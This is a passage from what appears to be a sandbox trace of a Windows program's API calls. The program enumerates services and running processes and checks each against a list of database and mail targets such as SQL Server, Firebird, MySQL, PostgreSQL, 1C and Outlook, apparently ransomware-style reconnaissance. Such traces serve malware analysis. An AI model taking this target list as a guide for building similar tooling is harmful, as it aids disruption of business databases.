Flags=0x0, Size=0x12c6) returned 0x3959740 [0078.654] EnumServicesStatusExW (in: hSCManager=0x52ff00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3959740, cbBufSize=0x12c6, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3959740, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 1 [0078.654] CloseServiceHandle (hSCObject=0x52ff00) returned 1 [0078.654] lstrlenW (lpString="Appinfo") returned 7 [0078.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0078.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0078.654] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0078.654] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0078.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0078.654] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0078.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0078.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0078.655] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0078.655] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0078.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0078.655] lstrlenW (lpString="AudioSrv") returned 8 [0078.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0078.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0078.655] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0078.655] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0078.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0078.655] lstrlenW (lpString="BFE") returned 3 [0078.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0078.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0078.655] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0078.655] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0078.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0078.655] lstrlenW (lpString="CryptSvc") returned 8 [0078.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0078.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0078.655] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0078.655] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0078.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0078.655] lstrlenW (lpString="CscService") returned 10 [0078.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0078.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0078.655] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0078.655] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0078.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0078.655] lstrlenW (lpString="DcomLaunch") returned 10 [0078.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0078.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0078.655] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0078.656] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0078.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0078.656] lstrlenW (lpString="Dhcp") returned 4 [0078.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0078.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0078.656] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0078.656] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0078.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0078.656] lstrlenW (lpString="Dnscache") returned 8 [0078.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0078.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0078.656] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0078.656] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0078.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0078.656] lstrlenW (lpString="DPS") returned 3 [0078.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0078.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0078.656] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0078.656] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0078.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0078.656] lstrlenW (lpString="eventlog") returned 8 [0078.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0078.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0078.656] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0078.656] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0078.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0078.656] lstrlenW (lpString="EventSystem") returned 11 [0078.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0078.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0078.656] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0078.656] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0078.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0078.656] lstrlenW (lpString="gpsvc") returned 5 [0078.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0078.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0078.657] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0078.657] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0078.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0078.657] lstrlenW (lpString="iphlpsvc") returned 8 [0078.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0078.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0078.657] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0078.657] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0078.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0078.657] lstrlenW (lpString="LanmanServer") returned 12 [0078.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0078.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0078.657] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0078.657] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0078.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0078.657] lstrlenW (lpString="LanmanWorkstation") returned 17 [0078.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0078.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0078.657] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0078.657] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0078.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0078.657] lstrlenW (lpString="lmhosts") returned 7 [0078.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0078.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0078.657] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0078.657] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0078.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0078.657] lstrlenW (lpString="MMCSS") returned 5 [0078.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0078.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0078.657] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0078.658] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0078.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0078.658] lstrlenW (lpString="MpsSvc") returned 6 [0078.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0078.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0078.658] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0078.658] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0078.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0078.658] lstrlenW (lpString="Netman") returned 6 [0078.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0078.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0078.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0078.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0078.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0078.658] lstrlenW (lpString="netprofm") returned 8 [0078.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0078.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0078.658] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0078.658] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0078.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0078.658] lstrlenW (lpString="NlaSvc") returned 6 [0078.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0078.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0078.658] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0078.658] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0078.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0078.658] lstrlenW (lpString="nsi") returned 3 [0078.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0078.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0078.658] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0078.658] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0078.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0078.681] lstrlenW (lpString="PcaSvc") returned 6 [0078.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0078.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0078.690] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0078.690] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0078.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0078.690] lstrlenW (lpString="PlugPlay") returned 8 [0078.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0078.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0078.690] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0078.690] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0078.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0078.690] lstrlenW (lpString="Power") returned 5 [0078.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0078.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0078.690] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0078.690] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0078.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0078.690] lstrlenW (lpString="ProfSvc") returned 7 [0078.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0078.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0078.690] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0078.690] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0078.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0078.690] lstrlenW (lpString="RpcEptMapper") returned 12 [0078.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0078.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0078.691] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0078.691] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0078.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0078.691] lstrlenW (lpString="RpcSs") returned 5 [0078.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0078.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0078.691] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0078.691] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0078.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0078.691] lstrlenW (lpString="SamSs") returned 5 [0078.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0078.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0078.691] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0078.691] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0078.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0078.691] lstrlenW (lpString="Schedule") returned 8 [0078.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0078.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0078.691] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0078.691] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0078.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0078.691] lstrlenW (lpString="SENS") returned 4 [0078.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0078.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0078.731] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0078.731] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0078.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0078.732] lstrlenW (lpString="ShellHWDetection") returned 16 [0078.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0078.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0078.732] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0078.732] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0078.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0078.732] lstrlenW (lpString="Spooler") returned 7 [0078.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0078.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0078.732] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0078.732] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0078.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0078.732] lstrlenW (lpString="swprv") returned 5 [0078.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0078.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0078.732] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0078.732] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0078.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0078.732] lstrlenW (lpString="SysMain") returned 7 [0078.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0078.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0078.732] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0078.732] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0078.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0078.732] lstrlenW (lpString="Themes") returned 6 [0078.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0078.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0078.733] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0078.733] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0078.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0078.733] lstrlenW (lpString="TrkWks") returned 6 [0078.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0078.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0078.733] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0078.733] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0078.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0078.733] lstrlenW (lpString="UxSms") returned 5 [0078.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0078.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0078.733] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0078.733] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0078.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0078.733] lstrlenW (lpString="VSS") returned 3 [0078.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0078.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0078.733] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0078.733] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0078.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0078.733] lstrlenW (lpString="WdiServiceHost") returned 14 [0078.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0078.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0078.733] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0078.734] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0078.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0078.734] lstrlenW (lpString="WdiSystemHost") returned 13 [0078.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0078.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0078.734] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0078.734] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0078.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0078.734] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0078.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0078.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0078.734] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0078.734] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0078.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0078.734] lstrlenW (lpString="Winmgmt") returned 7 [0078.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0078.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0078.734] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0078.734] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0078.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0078.734] lstrlenW (lpString="WPDBusEnum") returned 10 [0078.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0078.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0078.744] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0078.744] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0078.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0078.744] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3959740 | out: hHeap=0x4b0000) returned 1 [0078.744] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1dc [0078.749] Process32FirstW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0078.749] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0078.749] lstrlenW (lpString="System") returned 6 [0078.749] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0078.749] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0078.749] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0078.750] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0078.750] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0078.750] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0078.750] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0078.750] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0078.750] lstrlenW (lpString="smss.exe") returned 8 [0078.750] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0078.750] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0078.750] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0078.750] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0078.750] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0078.750] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0078.750] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0078.750] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0078.750] lstrlenW (lpString="csrss.exe") returned 9 [0078.750] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0078.750] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0078.750] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0078.750] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0078.750] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0078.751] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0078.751] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0078.751] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0078.751] lstrlenW (lpString="wininit.exe") returned 11 [0078.751] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0078.751] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0078.751] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0078.751] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0078.751] lstrlenW (lpString="csrss.exe") returned 9 [0078.751] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0078.752] lstrlenW (lpString="winlogon.exe") returned 12 [0078.752] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) 